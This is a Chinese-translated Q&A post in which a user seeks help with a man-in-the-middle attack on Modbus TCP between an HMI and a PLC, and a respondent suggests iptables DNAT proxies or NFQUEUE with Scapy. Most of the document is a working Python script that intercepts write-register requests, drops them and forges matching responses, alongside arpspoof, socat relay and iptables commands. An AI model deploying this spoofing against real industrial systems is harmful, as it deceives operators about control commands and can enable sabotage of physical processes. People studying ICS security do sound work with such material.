Python MODBUS:创建对写入请求的假响应

Python MODBUS:创建对写入请求的假响应,python,scapy,modbus-tcp,Python,Scapy,Modbus Tcp,我试图用某种MITM攻击来愚弄我的HMI(客户端)。但看起来我不懂一些基本的东西。这是HMI侧的代码和Wireshark屏幕截图。问题是: 我正在从HMI删除原始写入请求数据包 我正在制作假响应包并将其发送到HMI 之后,HMI尝试发送新请求,但PLC(服务器)突然没有响应:( 感谢您的帮助!如果您想篡改TCP连接内的数据,使用iptables到DNAT将其连接到充当代理的本地服务器可能更容易 我所说的代理是指TCP中继:一个TCP服务器作为一个简单的客户机转发数据。一旦这起作用,您可以在转

我试图用某种MITM攻击来愚弄我的HMI(客户端)。但看起来我不懂一些基本的东西。这是HMI侧的代码和Wireshark屏幕截图。问题是:

  • 我正在从HMI删除原始写入请求数据包
  • 我正在制作假响应包并将其发送到HMI
  • 之后,HMI尝试发送新请求,但PLC(服务器)突然没有响应:(


  • 感谢您的帮助!

    如果您想篡改TCP连接内的数据,使用
    iptables
    DNAT
    将其连接到充当代理的本地服务器可能更容易

    我所说的代理是指TCP中继:一个TCP服务器作为一个简单的客户机转发数据。一旦这起作用,您可以在转发数据时修改数据


    这样,您的操作系统将处理TCP序列和确认号、校验和等。当您更改内容而不更改内容长度时,或者当数据包不是TCP连接(例如UDP或ICMP消息)时,可以使用
    NFQUEUE
    +Scapy.

    Pierre,你好!再次感谢你!我的实验想法是让master认为它的请求已被接受,因此我正在尝试构建一个正确的响应消息,正如我在wireshark中看到的,它与真实的modbus响应完全相同。Seq和Ack数字很好,它也被分解为modbus响应,master在获取后发送AKC数据包g我的假modbus响应,所以一切都应该正常,但不幸的是,在主机发送所有下一个请求后,我不知道在哪里,并且在多次尝试后,我得到modbus超时错误:(关于您使用代理的建议,我不确定我是否了解如何创建本地modbus代理服务器:(我试过这样做,但要克隆一个真正的PLC需要很长的时间。谢谢,彼埃尔!我会尝试这种解决方案。如果可能的话,请你解释一下它是如何工作的?现在我在中间有ARPSPOOF,然后我必须做一些类似于<代码> SOCAT的TCP侦听:502,分叉TCP:从属:502 < /COD>在中间做一个TCP中继。同时激活
    iptables-t nat-A PREROUTING-p tcp-j DNAT-到目的地MITM:502
    ,然后我应该可以将我的MITM计算机的输出数据更改为从机。对吗?使用socat是一个很酷的选择,但我不知道在这种情况下如何更改传输的数据。我会用Pyt编写一个服务器/客户端hon(然后您将能够使用Scapy的Modbus解析器)并更改其中的数据。谢谢Pierre!我使用socat尝试了该选项。同样的结果,我可以丢弃Modbus请求数据包,我发送假响应,获得ACK,但之后序列号顺序崩溃,从机发送RST数据包:(
    #!/usr/bin/python2
    import nfqueue
    from scapy.all import *
    load_contrib('modbus')
    import os
    import time
    
    # MITM rule initialization:
    iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
    #iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
    os.system(iptable_rule1)
    os.system("sysctl net.ipv4.ip_forward=1")
    
    def callback(payload):
        global ON
        data = payload.get_data()
        pkt = IP(data)
        #Checking if WRITE request is in payload
        if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
            print "[*] WRITE request packet detected..."
            # Begin of crafting fake RESPONSE packet
            fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
            fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
            fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
            fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
            fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
            fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
            fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
            fake_response[IP].src = pkt[IP].dst
            fake_response[IP].dst = pkt[IP].src
            fake_response[TCP].sport = pkt[TCP].dport
            fake_response[TCP].dport = pkt[TCP].sport
            fake_response[TCP].seq = pkt[TCP].ack
            fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
            fake_response[IP].ttl = 2 #Just for red color in Wireshark
            fake_response[TCP].flags = 'PA'
            #del fake_response[IP].chksum
            #del fake_response[TCP].chksum
            # End of crafting fake RESPONSE packet
            time.sleep(0.1)
            #Injection of FAKE response to the network
            payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
        #All other packets have to be accepted
        else:
            print "[*] Non request packet accepted..."
            payload.set_verdict(nfqueue.NF_ACCEPT)
    
    def main():
        q = nfqueue.queue()
        q.open()
        q.bind(socket.AF_INET)
        q.set_callback(callback)
        q.create_queue(0)
        try:
            q.try_run()
        except KeyboardInterrupt:
            q.unbind(socket.AF_INET)
            q.close()
            print("Flushing iptables.")
            os.system('iptables -F')
            os.system('iptables -X')
    
    main()